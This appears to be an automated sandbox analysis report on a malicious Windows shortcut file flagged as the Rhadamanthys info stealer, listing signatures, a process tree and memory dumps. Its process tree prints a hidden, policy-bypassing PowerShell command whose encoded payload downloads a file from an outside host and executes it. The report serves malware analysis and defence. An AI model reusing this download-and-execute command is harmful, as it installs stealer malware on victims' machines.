Analysis
- max time kernel
151s - max time network
174s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
06/04/2024, 01:45
General
- Target eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0.lnk
- Size 10KB
- Sample240406-b6rd4shd36
- SHA256 eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0
Malware Config
Signatures
- Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\sihost.exesihost.exe1⤵
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C:\Windows\system32\dialer.exe"C:\Windows\system32\dialer.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4088 --field-trial-handle=2256,i,18272763564106695635,11201593968620719822,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_wlqr5mjj.s5e.ps1
memory/3744-25-0x00000219CA5B0000-0x00000219CA5B9000-memory.dmp
memory/3744-37-0x00000219CC080000-0x00000219CC480000-memory.dmp
memory/3744-31-0x00000219CC080000-0x00000219CC480000-memory.dmp
memory/3744-35-0x00007FF875900000-0x00007FF875BC9000-memory.dmp
memory/3744-34-0x00007FF877020000-0x00007FF8770DE000-memory.dmp
memory/3744-32-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp
memory/3744-27-0x00000219CC080000-0x00000219CC480000-memory.dmp
memory/3744-28-0x00000219CC080000-0x00000219CC480000-memory.dmp
memory/4800-22-0x000002AD70FE0000-0x000002AD713E0000-memory.dmp
memory/4800-18-0x000002AD70AB0000-0x000002AD70AC0000-memory.dmp
memory/4800-21-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp
memory/4800-7-0x000002AD70AC0000-0x000002AD70AE2000-memory.dmp
memory/4800-23-0x00007FF877020000-0x00007FF8770DE000-memory.dmp
memory/4800-24-0x00007FF875900000-0x00007FF875BC9000-memory.dmp
memory/4800-20-0x000002AD70FE0000-0x000002AD713E0000-memory.dmp
memory/4800-19-0x000002AD70FE0000-0x000002AD713E0000-memory.dmp
memory/4800-17-0x000002AD70FE0000-0x000002AD713E0000-memory.dmp
memory/4800-33-0x00007FF858000000-0x00007FF858AC1000-memory.dmp
memory/4800-16-0x000002AD70AB0000-0x000002AD70AC0000-memory.dmp
memory/4800-15-0x000002AD70F70000-0x000002AD70FCE000-memory.dmp
memory/4800-36-0x000002AD70FE0000-0x000002AD713E0000-memory.dmp
memory/4800-14-0x000002AD70160000-0x000002AD70170000-memory.dmp
memory/4800-13-0x000002AD70160000-0x000002AD70170000-memory.dmp
memory/4800-12-0x00007FF858000000-0x00007FF858AC1000-memory.dmp